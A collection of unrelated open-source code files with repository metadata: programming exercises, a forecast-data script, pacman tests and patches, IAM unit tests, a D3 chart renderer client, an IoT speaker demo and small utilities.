0.433014
1a56cea58fb740fcf1e8fbb537fc140ffc58ad82
261
py
Python
Python/M01_ProgrammingBasics/L05_WhileLoop/Lab/Solutions/P05_AccountBalance.py
todorkrastev/softuni-software-engineering
cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84
[ "MIT" ]
null
null
null
Python/M01_ProgrammingBasics/L05_WhileLoop/Lab/Solutions/P05_AccountBalance.py
todorkrastev/softuni-software-engineering
cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84
[ "MIT" ]
null
null
null
Python/M01_ProgrammingBasics/L05_WhileLoop/Lab/Solutions/P05_AccountBalance.py
todorkrastev/softuni-software-engineering
cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84
[ "MIT" ]
1
2022-02-23T13:03:14.000Z
2022-02-23T13:03:14.000Z
total = 0 line = input() while line != "NoMoreMoney": current = float(line) if current < 0: print("Invalid operation!") break total += current print(f"Increase: {current:.2f}") line = input() print(f"Total: {total:.2f}")
16.3125
37
0.570881
20347a1d9b2d8647baf65b270ab29304caae7483
3,296
py
Python
nowcast_viz_de/prepare_forecast_data.py
Stochastik-TU-Ilmenau/hospitalization-nowcast-hub
df1b2f52060cfa5c275c8c25a0cf2d7b6ad5df0d
[ "MIT" ]
null
null
null
nowcast_viz_de/prepare_forecast_data.py
Stochastik-TU-Ilmenau/hospitalization-nowcast-hub
df1b2f52060cfa5c275c8c25a0cf2d7b6ad5df0d
[ "MIT" ]
null
null
null
nowcast_viz_de/prepare_forecast_data.py
Stochastik-TU-Ilmenau/hospitalization-nowcast-hub
df1b2f52060cfa5c275c8c25a0cf2d7b6ad5df0d
[ "MIT" ]
null
null
null
import numpy as np import pandas as pd from pathlib import Path def process_forecasts(df): df.loc[df.type == 'quantile', 'quantile'] = 'q' + df.loc[df.type == 'quantile', 'quantile'].astype(str) df.loc[df.type == 'mean', 'quantile'] = 'mean' df = df.pivot(index = ['location', 'age_group', 'forecast_date', 'target_end_date', 'target', 'pathogen', 'model', 'retrospective'], values='value', columns='quantile') df.columns.name = None df.reset_index(inplace=True) df['target_type'] = 'hosp' df.drop(columns=['type', 'target'], inplace = True, errors = 'ignore') # add columns for quantiles if they are not present in submissions required_quantiles = ['q0.025', 'q0.1', 'q0.25', 'q0.5', 'q0.75', 'q0.9', 'q0.975'] missing_quantiles = [q for q in required_quantiles if q not in df.columns] for q in missing_quantiles: df[q] = np.nan df = df[['model', 'target_type', 'forecast_date', 'target_end_date', 'location', 'age_group', 'pathogen', 'mean', 'q0.025', 'q0.1', 'q0.25', 'q0.5', 'q0.75', 'q0.9', 'q0.975', 'retrospective']] df.sort_values(['model', 'target_type', 'forecast_date', 'target_end_date', 'location', 'age_group', 'pathogen'], inplace=True) return(df) path1 = Path('../data-processed') df1 = pd.DataFrame({'file': [f.name for f in path1.glob('**/*.csv')]}) df1['path'] = [str(f) for f in path1.glob('**/*.csv')] path2 = Path('../data-processed_retrospective') df2 = pd.DataFrame({'file': [f.name for f in path2.glob('**/*.csv')]}) df2['path'] = [str(f) for f in path2.glob('**/*.csv')] df_files = pd.concat([df1, df2], ignore_index = True) df_files['date'] = pd.to_datetime(df_files.file.str[:10]) df_files['model'] = df_files.file.str[11:-4] df_files['retrospective'] = df_files.path.str.contains('retrospective') all_models = df_files.model.unique() dates = pd.date_range(df_files.date.min(), pd.to_datetime('today')) for date in dates: df_temp = df_files[df_files.date == date] missing = [m for m in all_models if m not in df_temp.model.unique()] for m in missing: df_old = df_files[(df_files.model == m) & (df_files.date.between(date - pd.Timedelta(days = 7), date))] df_old = df_old[df_old.date == df_old.date.max()] df_temp = df_temp.append(df_old) dfs = [] for _, row in df_temp.iterrows(): df_temp2 = pd.read_csv(f'../data-processed{"_retrospective" if row.retrospective else ""}/{row.model}/{row.file}', parse_dates = ['target_end_date']) df_temp2['model'] = row.model df_temp2['retrospective'] = row.retrospective dfs.append(df_temp2) if len(dfs) > 0: df = pd.concat(dfs) df = df[df.target_end_date >= date - pd.Timedelta(days = 28)] df = process_forecasts(df) df.to_csv(f'plot_data/{str(date)[:10]}_forecast_data.csv', index=False) # save list of available teams df_models = pd.DataFrame({'model': all_models}) df_models.to_csv('plot_data/list_teams.csv', index = False) # save list of all plot data files df_plot_data = pd.DataFrame({'file': [f.name for f in Path('plot_data').glob('**/*forecast_data.csv')]}) df_plot_data.to_csv('plot_data/list_plot_data.csv', index = False)
40.195122
131
0.632585
808ae77129fa40da302f8269d77898d8b75826d7
236
py
Python
frappe-bench/apps/erpnext/erpnext/patches/v10_0/update_hub_connector_domain.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/patches/v10_0/update_hub_connector_domain.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/patches/v10_0/update_hub_connector_domain.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
import frappe def execute(): if frappe.db.table_exists("Data Migration Connector"): frappe.db.sql(""" UPDATE `tabData Migration Connector` SET hostname = 'https://hubmarket.org' WHERE connector_name = 'Hub Connector' """)
26.222222
55
0.707627
ff09f722e3d22b9ea1606eae876d72ea94e22b07
437
py
Python
pacman-arch/test/pacman/tests/upgrade030.py
Maxython/pacman-for-termux
3b208eb9274cbfc7a27fca673ea8a58f09ebad47
[ "MIT" ]
23
2021-05-21T19:11:06.000Z
2022-03-31T18:14:20.000Z
source/pacman-6.0.1/test/pacman/tests/upgrade030.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
11
2021-05-21T12:08:44.000Z
2021-12-21T08:30:08.000Z
source/pacman-6.0.1/test/pacman/tests/upgrade030.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-09-26T08:44:40.000Z
2021-09-26T08:44:40.000Z
self.description = "Upgrade packages with various reasons" lp1 = pmpkg("pkg1") lp1.reason = 0 lp2 = pmpkg("pkg2") lp2.reason = 1 for p in lp1, lp2: self.addpkg2db("local", p) p1 = pmpkg("pkg1", "1.0-2") p2 = pmpkg("pkg2", "1.0-2") for p in p1, p2: self.addpkg(p) self.args = "-U %s" % " ".join([p.filename() for p in (p1, p2)]) self.addrule("PACMAN_RETCODE=0") self.addrule("PKG_REASON=pkg1|0") self.addrule("PKG_REASON=pkg2|1")
19.863636
64
0.647597
ff0e3f7dce231bd43a86c057f900a05736af297e
8,752
py
Python
Packs/ApiModules/Scripts/IAMApiModule/IAMApiModule_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/ApiModules/Scripts/IAMApiModule/IAMApiModule_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/ApiModules/Scripts/IAMApiModule/IAMApiModule_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
from IAMApiModule import * APP_USER_OUTPUT = { "user_id": "mock_id", "user_name": "mock_user_name", "first_name": "mock_first_name", "last_name": "mock_last_name", "active": "true", "email": "[email protected]" } USER_APP_DATA = IAMUserAppData("mock_id", "mock_user_name", is_active=True, app_data=APP_USER_OUTPUT) APP_DISABLED_USER_OUTPUT = { "user_id": "mock_id", "user_name": "mock_user_name", "first_name": "mock_first_name", "last_name": "mock_last_name", "active": "false", "email": "[email protected]" } DISABLED_USER_APP_DATA = IAMUserAppData("mock_id", "mock_user_name", is_active=False, app_data=APP_DISABLED_USER_OUTPUT) class MockCLient(): def get_user(self): return None def create_user(self): return None def update_user(self): return None def enable_user(self): return None def disable_user(self): return None def get_outputs_from_user_profile(user_profile): entry_context = user_profile.to_entry() outputs = entry_context.get('Contents') return outputs def test_get_user_command__existing_user(mocker): """ Given: - An app client object - A user-profile argument that contains an email of a user When: - The user exists in the application - Calling function get_user_command Then: - Ensure the resulted User Profile object holds the correct user details """ client = MockCLient() args = {'user-profile': {'email': '[email protected]'}} mocker.patch.object(client, 'get_user', return_value=USER_APP_DATA) mocker.patch.object(IAMUserProfile, 'update_with_app_data', return_value={}) user_profile = IAMCommand().get_user(client, args) outputs = get_outputs_from_user_profile(user_profile) assert outputs.get('action') == IAMActions.GET_USER assert outputs.get('success') is True assert outputs.get('active') is True assert outputs.get('id') == 'mock_id' assert outputs.get('username') == 'mock_user_name' assert outputs.get('details', {}).get('first_name') == 'mock_first_name' assert outputs.get('details', {}).get('last_name') == 'mock_last_name' def test_get_user_command__non_existing_user(mocker): """ Given: - An app client object - A user-profile argument that contains an email a user When: - The user does not exist in the application - Calling function get_user_command Then: - Ensure the resulted User Profile object holds information about an unsuccessful result. """ client = MockCLient() args = {'user-profile': {'email': '[email protected]'}} mocker.patch.object(client, 'get_user', return_value=None) user_profile = IAMCommand().get_user(client, args) outputs = get_outputs_from_user_profile(user_profile) assert outputs.get('action') == IAMActions.GET_USER assert outputs.get('success') is False assert outputs.get('errorCode') == IAMErrors.USER_DOES_NOT_EXIST[0] assert outputs.get('errorMessage') == IAMErrors.USER_DOES_NOT_EXIST[1] def test_create_user_command__success(mocker): """ Given: - An app client object - A user-profile argument that contains an email of a non-existing user in the application When: - Calling function create_user_command Then: - Ensure a User Profile object with the user data is returned """ client = MockCLient() args = {'user-profile': {'email': '[email protected]'}} mocker.patch.object(client, 'get_user', return_value=None) mocker.patch.object(client, 'create_user', return_value=USER_APP_DATA) user_profile = IAMCommand(get_user_iam_attrs=['email']).create_user(client, args) outputs = get_outputs_from_user_profile(user_profile) assert outputs.get('action') == IAMActions.CREATE_USER assert outputs.get('success') is True assert outputs.get('active') is True assert outputs.get('id') == 'mock_id' assert outputs.get('username') == 'mock_user_name' assert outputs.get('details', {}).get('first_name') == 'mock_first_name' assert outputs.get('details', {}).get('last_name') == 'mock_last_name' def test_create_user_command__user_already_exists(mocker): """ Given: - An app client object - A user-profile argument that contains an email of a user When: - The user already exists in the application and disabled - allow-enable argument is false - Calling function create_user_command Then: - Ensure the command is considered successful and the user is still disabled """ client = MockCLient() args = {'user-profile': {'email': '[email protected]'}, 'allow-enable': 'false'} mocker.patch.object(client, 'get_user', return_value=DISABLED_USER_APP_DATA) mocker.patch.object(client, 'update_user', return_value=DISABLED_USER_APP_DATA) user_profile = IAMCommand().create_user(client, args) outputs = get_outputs_from_user_profile(user_profile) assert outputs.get('action') == IAMActions.UPDATE_USER assert outputs.get('success') is True assert outputs.get('active') is False assert outputs.get('id') == 'mock_id' assert outputs.get('username') == 'mock_user_name' assert outputs.get('details', {}).get('first_name') == 'mock_first_name' assert outputs.get('details', {}).get('last_name') == 'mock_last_name' def test_update_user_command__non_existing_user(mocker): """ Given: - An app client object - A user-profile argument that contains user data When: - The user does not exist in the application - create-if-not-exists parameter is checked - Create User command is enabled - Calling function update_user_command Then: - Ensure the create action is executed - Ensure a User Profile object with the user data is returned """ client = MockCLient() args = {'user-profile': {'email': '[email protected]', 'givenname': 'mock_first_name'}} mocker.patch.object(client, 'get_user', return_value=None) mocker.patch.object(client, 'create_user', return_value=USER_APP_DATA) user_profile = IAMCommand(create_if_not_exists=True).update_user(client, args) outputs = get_outputs_from_user_profile(user_profile) assert outputs.get('action') == IAMActions.CREATE_USER assert outputs.get('success') is True assert outputs.get('active') is True assert outputs.get('id') == 'mock_id' assert outputs.get('username') == 'mock_user_name' assert outputs.get('details', {}).get('first_name') == 'mock_first_name' assert outputs.get('details', {}).get('last_name') == 'mock_last_name' def test_update_user_command__command_is_disabled(mocker): """ Given: - An app client object - A user-profile argument that contains user data When: - Update User command is disabled - Calling function update_user_command Then: - Ensure the command is considered successful and skipped """ client = MockCLient() args = {'user-profile': {'email': '[email protected]', 'givenname': 'mock_first_name'}} mocker.patch.object(client, 'get_user', return_value=None) mocker.patch.object(client, 'update_user', return_value=USER_APP_DATA) user_profile = IAMCommand(is_update_enabled=False).update_user(client, args) outputs = get_outputs_from_user_profile(user_profile) assert outputs.get('action') == IAMActions.UPDATE_USER assert outputs.get('success') is True assert outputs.get('skipped') is True assert outputs.get('reason') == 'Command is disabled.' def test_disable_user_command__non_existing_user(mocker): """ Given: - An app client object - A user-profile argument that contains an email of a user When: - create-if-not-exists parameter is unchecked - The user does not exist in the application - Calling function disable_user_command Then: - Ensure the command is considered successful and skipped """ client = MockCLient() args = {'user-profile': {'email': '[email protected]'}} mocker.patch.object(client, 'get_user', return_value=None) user_profile = IAMCommand().disable_user(client, args) outputs = get_outputs_from_user_profile(user_profile) assert outputs.get('action') == IAMActions.DISABLE_USER assert outputs.get('success') is True assert outputs.get('skipped') is True assert outputs.get('reason') == IAMErrors.USER_DOES_NOT_EXIST[1]
36.016461
120
0.695727
454bec157dda567b20fa093a912cf2ca2019b964
496
py
Python
source/pkgsrc/chat/gajim/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/chat/gajim/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/chat/gajim/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-setup.py,v 1.4 2021/08/10 12:03:37 nia Exp $ Fix man page install location. --- setup.py.orig 2021-04-24 11:27:40.000000000 +0000 +++ setup.py @@ -109,7 +109,7 @@ def build_man(build_cmd): def install_man(install_cmd): data_files = install_cmd.distribution.data_files man_dir = build_dir / 'man' - target = 'share/man/man1' + target = os.path.join(os.environ['PKGMANDIR'], 'man1') for man in MAN_FILES: man_file_gz = str(man_dir / (man + '.gz'))
31
59
0.657258
4555854adf944a13de410ac6276911ac6d1dd55c
662
py
Python
Algorithms/2_Implementation/22.py
abphilip-codes/Hackerrank_DSA
bb9e233d9d45c5b14c138830602695ad4113fba4
[ "MIT" ]
1
2021-11-25T13:39:30.000Z
2021-11-25T13:39:30.000Z
Algorithms/2_Implementation/22.py
abphilip-codes/Hackerrank_DSA
bb9e233d9d45c5b14c138830602695ad4113fba4
[ "MIT" ]
null
null
null
Algorithms/2_Implementation/22.py
abphilip-codes/Hackerrank_DSA
bb9e233d9d45c5b14c138830602695ad4113fba4
[ "MIT" ]
null
null
null
# https://www.hackerrank.com/challenges/designer-pdf-viewer/problem #!/bin/python3 import math import os import random import re import sys # # Complete the 'designerPdfViewer' function below. # # The function is expected to return an INTEGER. # The function accepts following parameters: # 1. INTEGER_ARRAY h # 2. STRING word # def designerPdfViewer(h, word): return len(word)*max([h[ord(z)-97] for z in word]) if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') h = list(map(int, input().rstrip().split())) word = input() result = designerPdfViewer(h, word) fptr.write(str(result) + '\n') fptr.close()
19.470588
67
0.681269
b337abc868321e8eead65370e433751da76b70c6
222
py
Python
Python/Courses/Python-Tutorials.Telusko/01.Object-Oriented-Programming/16.05-Abstract-Class-and-Abstract-Method.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Courses/Python-Tutorials.Telusko/01.Object-Oriented-Programming/16.05-Abstract-Class-and-Abstract-Method.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
Python/Courses/Python-Tutorials.Telusko/01.Object-Oriented-Programming/16.05-Abstract-Class-and-Abstract-Method.py
shihab4t/Books-Code
b637b6b2ad42e11faf87d29047311160fe3b2490
[ "Unlicense" ]
null
null
null
from abc import ABC, abstractmethod class Computer(ABC): @abstractmethod def process(self): pass class Laptop(Computer): def process(self): print("Running") com1 = Laptop() com1.process()
13.058824
35
0.648649
6406f08c525fc808fca0e1c94a4641520796deea
8,040
py
Python
src/onegov/election_day/utils/d3_renderer.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/utils/d3_renderer.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/utils/d3_renderer.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from base64 import b64decode from io import BytesIO from io import StringIO from onegov.ballot import Ballot from onegov.ballot import Election from onegov.ballot import ElectionCompound from onegov.core.custom import json from onegov.core.utils import module_path from onegov.election_day import _ from onegov.election_day.utils.ballot import get_ballot_data_by_district from onegov.election_day.utils.ballot import get_ballot_data_by_entity from onegov.election_day.utils.election import get_candidates_data from onegov.election_day.utils.election import get_connections_data from onegov.election_day.utils.election import get_lists_data from onegov.election_day.utils.election import get_lists_panachage_data from onegov.election_day.utils.election import get_parties_panachage_data from onegov.election_day.utils.election import get_party_results_data from requests import post from rjsmin import jsmin class D3Renderer(): """ Provides access to the d3-renderer (github.com/seantis/d3-renderer). """ def __init__(self, app): self.app = app self.renderer = app.configuration.get('d3_renderer').rstrip('/') self.supported_charts = { 'bar': { 'main': 'barChart', 'scripts': ('d3.chart.bar.js',), }, 'grouped': { 'main': 'groupedChart', 'scripts': ('d3.chart.grouped.js',), }, 'sankey': { 'main': 'sankeyChart', 'scripts': ('d3.sankey.js', 'd3.chart.sankey.js'), }, 'entities-map': { 'main': 'entitiesMap', 'scripts': ('topojson.js', 'd3.map.entities.js'), }, 'districts-map': { 'main': 'districtsMap', 'scripts': ('topojson.js', 'd3.map.districts.js'), } } # Read and minify the javascript sources self.scripts = {} for chart in self.supported_charts: self.scripts[chart] = [] for script in self.supported_charts[chart]['scripts']: path = module_path( 'onegov.election_day', 'assets/js/{}'.format(script) ) with open(path, 'r') as f: self.scripts[chart].append(jsmin(f.read())) def translate(self, text, locale): """ Translates the given string. """ translator = self.app.translations.get(locale) return text.interpolate(translator.gettext(text)) def get_chart(self, chart, fmt, data, width=1000, params=None): """ Returns the requested chart from the d3-render service as a PNG/PDF/SVG. """ assert chart in self.supported_charts assert fmt in ('pdf', 'svg') params = params or {} params.update({ 'data': data, 'width': width, 'viewport_width': width # only used for PDF and PNG }) response = post('{}/d3/{}'.format(self.renderer, fmt), json={ 'scripts': self.scripts[chart], 'main': self.supported_charts[chart]['main'], 'params': params }) response.raise_for_status() if fmt == 'svg': return StringIO(response.text) else: return BytesIO(b64decode(response.text)) def get_map(self, map, fmt, data, year, width=1000, params=None): """ Returns the request chart from the d3-render service as a PNG/PDF/SVG. """ mapdata = None path = module_path( 'onegov.election_day', 'static/mapdata/{}/{}.json'.format( year, self.app.principal.id ) ) with open(path, 'r') as f: mapdata = json.loads(f.read()) params = params or {} params.update({ 'mapdata': mapdata, 'canton': self.app.principal.id }) return self.get_chart('{}-map'.format(map), fmt, data, width, params) def get_lists_chart(self, item, fmt, return_data=False): chart = None data = None if isinstance(item, Election): data = get_lists_data(item) if data and data.get('results'): chart = self.get_chart('bar', fmt, data) return (chart, data) if return_data else chart def get_candidates_chart(self, item, fmt, return_data=False): chart = None data = None if isinstance(item, Election): data = get_candidates_data(item) if data and data.get('results'): chart = self.get_chart('bar', fmt, data) return (chart, data) if return_data else chart def get_connections_chart(self, item, fmt, return_data=False): chart = None data = None if isinstance(item, Election): data = get_connections_data(item, None) if data and data.get('links') and data.get('nodes'): chart = self.get_chart( 'sankey', fmt, data, params={'inverse': True} ) return (chart, data) if return_data else chart def get_party_strengths_chart(self, item, fmt, return_data=False): chart = None data = None if isinstance(item, Election): data = get_party_results_data(item) if data and data.get('results'): chart = self.get_chart('grouped', fmt, data) elif isinstance(item, ElectionCompound): data = get_party_results_data(item) if data and data.get('results'): chart = self.get_chart('grouped', fmt, data) return (chart, data) if return_data else chart def get_lists_panachage_chart(self, item, fmt, return_data=False): chart = None data = None if isinstance(item, Election): data = get_lists_panachage_data(item, None) if data and data.get('links') and data.get('nodes'): chart = self.get_chart('sankey', fmt, data) return (chart, data) if return_data else chart def get_parties_panachage_chart(self, item, fmt, return_data=False): chart = None data = None if isinstance(item, Election): data = get_parties_panachage_data(item, None) if data and data.get('links') and data.get('nodes'): chart = self.get_chart('sankey', fmt, data) elif isinstance(item, ElectionCompound): data = get_parties_panachage_data(item, None) if data and data.get('links') and data.get('nodes'): chart = self.get_chart('sankey', fmt, data) return (chart, data) if return_data else chart def get_entities_map(self, item, fmt, locale=None, return_data=False): chart = None data = None if isinstance(item, Ballot): data = get_ballot_data_by_entity(item) if data: params = { 'labelLeftHand': self.translate(_('Nay'), locale), 'labelRightHand': self.translate(_('Yay'), locale), } year = item.vote.date.year chart = self.get_map( 'entities', fmt, data, year, params=params ) return (chart, data) if return_data else chart def get_districts_map(self, item, fmt, locale=None, return_data=False): chart = None data = None if isinstance(item, Ballot): data = get_ballot_data_by_district(item) if data: params = { 'labelLeftHand': self.translate(_('Nay'), locale), 'labelRightHand': self.translate(_('Yay'), locale), } year = item.vote.date.year chart = self.get_map( 'districts', fmt, data, year, params=params ) return (chart, data) if return_data else chart
36.712329
77
0.572264
ff9c50cdd86b3b2cf2d21f790f029bd04d23b67c
660
py
Python
Liter_Server/Mybase58.py
Drelf2018/Liter
e12ffdd22ee7b2724722c38e852fc9c1b2f180ad
[ "MIT" ]
null
null
null
Liter_Server/Mybase58.py
Drelf2018/Liter
e12ffdd22ee7b2724722c38e852fc9c1b2f180ad
[ "MIT" ]
null
null
null
Liter_Server/Mybase58.py
Drelf2018/Liter
e12ffdd22ee7b2724722c38e852fc9c1b2f180ad
[ "MIT" ]
null
null
null
MAGIC = [20210318223204031831, 1145141919810] BASE58 = '123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ' def encode(msg: str) -> str: temp = 0 for m in msg: temp = temp * 256 + ord(m) temp = (temp ^ MAGIC[0]) + MAGIC[1] msg = '' while temp: msg = BASE58[temp % 58] + msg temp //= 58 return msg def decode(msg: str) -> str: temp = 0 for m in msg: temp = temp * 58 + BASE58.index(m) temp = temp - MAGIC[1] ^ MAGIC[0] msg = '' while temp: msg = chr(temp % 256) + msg temp //= 256 return msg if __name__ == '__main__': print(encode('1145141919'))
21.290323
69
0.562121
443a75f8c75650e7b7aa08d3c49743431fe279f0
3,697
py
Python
haas_lib_bundles/python/docs/examples/broadcast_speaker/haaseduk1/code/main.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/docs/examples/broadcast_speaker/haaseduk1/code/main.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/docs/examples/broadcast_speaker/haaseduk1/code/main.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @File : main.py @Description: 播报音箱案例(本案例符合HaaS Python 2.0 API标准,请务必按照“HaaS EDU K1快速开始”(https://haas.iot.aliyun.com/haasapi/#/Python/docs/zh-CN/startup/HaaS_EDU_K1_startup)文章的说明烧录固件 @Date : 2022年02月11日 @Author : ethan.lcz @version : v2.0 ''' from aliyunIoT import Device import netmgr as nm import utime import ujson as json from speech_utils import ( Speaker, AUDIO_HEADER ) import time # 语音播放相关的音频资源文件定义 resDir = "/data/pyamp/resource/" tonepathConnected = AUDIO_HEADER + resDir + "connected.wav" tonepathPowerOn = AUDIO_HEADER + resDir + "poweron.wav" # 三元组信息 productKey = "产品密钥" deviceName = "设备名称" deviceSecret = "设备密钥" # Wi-Fi SSID和Password设置 wifi_ssid = "请填写您的路由器名称" wifi_password = "请填写您的路由器密码" # 回调函数状态 on_request = False on_play = False iot_connected = False # 等待Wi-Fi成功连接到路由器 def get_wifi_status(): nm.init() wifi_connected = nm.getStatus() nm.disconnect() print("start to connect " , wifiSsid) nm.connect(wifiSsid, wifiPassword) # 连接到指定的路由器(路由器名称为wifiSsid, 密码为:wifiPassword) while True : if wifi_connected == 5: # nm.getStatus()返回5代表连线成功 break else: wifi_connected = nm.getStatus() # 获取Wi-Fi连接路由器的状态信息 utime.sleep(0.5) print("wifi_connected:", wifi_connected) # utime.sleep(5) print("Wi-Fi connected") print('DeviceIP:' + nm.getInfo()['ip']) # 打印Wi-Fi的IP地址信息 # 物联网平台连接成功的回调函数 def on_connect(data): global iot_connected iot_connected = True # 设置service 事件接收函数(本案例是千里传音) def on_service(data): global on_request, on_play print('****** on service ********') serviceid = data['service_id'] data = json.loads(data['params']) # 语料下载服务 if serviceid == "SpeechPost": on_request = data # 语料播报服务 elif serviceid == "SpeechBroadcast": on_play = data else: pass # 连接物联网平台 def do_connect_lk(productKey, deviceName, deviceSecret,speaker): global device, iot_connected, on_request, on_play key_info = { 'region' : 'cn-shanghai' , #实例的区域 'productKey': productKey , #物联网平台的PK 'deviceName': deviceName , #物联网平台的DeviceName 'deviceSecret': deviceSecret , #物联网平台的deviceSecret 'keepaliveSec': 60 } # 将三元组信息设置到iot组件中 device = Device() # 设定连接到物联网平台的回调函数,如果连接物联网平台成功,则调用on_connect函数 device.on(Device.ON_CONNECT, on_connect) # 设定连接到物联网平台的回调函数,如果连接物联网平台下发控制服务请求指令,则调用on_service函数 device.on(Device.ON_SERVICE, on_service) print ("开始连接物联网平台") # 启动连接阿里云物联网平台过程 device.connect(key_info) # 等待设备成功连接到物联网平台 while True: if iot_connected: print("物联网平台连接成功") speaker.play(tonepathConnected) break else: print("sleep for 1 s") time.sleep(1) # 触发linkit sdk持续处理server端信息 while True: if on_request: print('get on request cmd') speaker.download_resource_file(on_request, resDir) # 语料下载 on_request = False elif on_play: speaker.play_voice(on_play,resDir) # 语料播报 on_play = False time.sleep(0.01) # 断开连接 device.close() if __name__ == '__main__': print("remote speaker demo version - v2.0") speaker = Speaker(resDir) # 初始化speaker speaker.play(tonepathPowerOn) # 播放开机启动提示音 get_wifi_status() # 确保wifi连接成功 do_connect_lk(productKey, deviceName, deviceSecret,speaker) # 启动千里传音服务
27.796992
167
0.620233
2bc19506802792dbfe68fddcf0e33163e5f51cce
1,022
py
Python
research/cv/LightCNN/src/lr_generator.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/LightCNN/src/lr_generator.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/LightCNN/src/lr_generator.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ """learning rate generator""" import numpy as np def get_lr(epoch_max, lr_base, steps_per_epoch, step=10, scale=0.457305051927326): """generate learning rate""" lr_list = [] for epoch in range(epoch_max): for _ in range(steps_per_epoch): lr_list.append(lr_base * (scale ** (epoch // step))) return np.array(lr_list)
37.851852
82
0.671233
2bdb1ec0c3034154ad2da148e24ea19056a8ffda
148
py
Python
server/apps/recommendation/apps.py
Mayandev/django_morec
8d115f76ad69d7aa78b07dc06aa7047979ad134b
[ "MIT" ]
129
2019-04-20T08:23:25.000Z
2022-03-14T10:02:23.000Z
server/apps/recommendation/apps.py
heartplus/django_morec
8d115f76ad69d7aa78b07dc06aa7047979ad134b
[ "MIT" ]
9
2019-05-19T15:06:17.000Z
2021-12-14T06:47:14.000Z
server/apps/recommendation/apps.py
heartplus/django_morec
8d115f76ad69d7aa78b07dc06aa7047979ad134b
[ "MIT" ]
34
2019-05-06T06:37:17.000Z
2021-12-09T02:27:58.000Z
from django.apps import AppConfig class RecommendationConfig(AppConfig): name = 'recommendation' # app名字后台显示中文 verbose_name = "推荐管理"
16.444444
38
0.72973
5bba03a6322bf928e1dbf4c602258960e41492ee
2,056
py
Python
PSA/ModuleLoader.py
SECURED-FP7/secured-psa-nsm
20c8f790ebc2d2aa8c33bda1e047f8f29275a0be
[ "Apache-2.0" ]
null
null
null
PSA/ModuleLoader.py
SECURED-FP7/secured-psa-nsm
20c8f790ebc2d2aa8c33bda1e047f8f29275a0be
[ "Apache-2.0" ]
null
null
null
PSA/ModuleLoader.py
SECURED-FP7/secured-psa-nsm
20c8f790ebc2d2aa8c33bda1e047f8f29275a0be
[ "Apache-2.0" ]
null
null
null
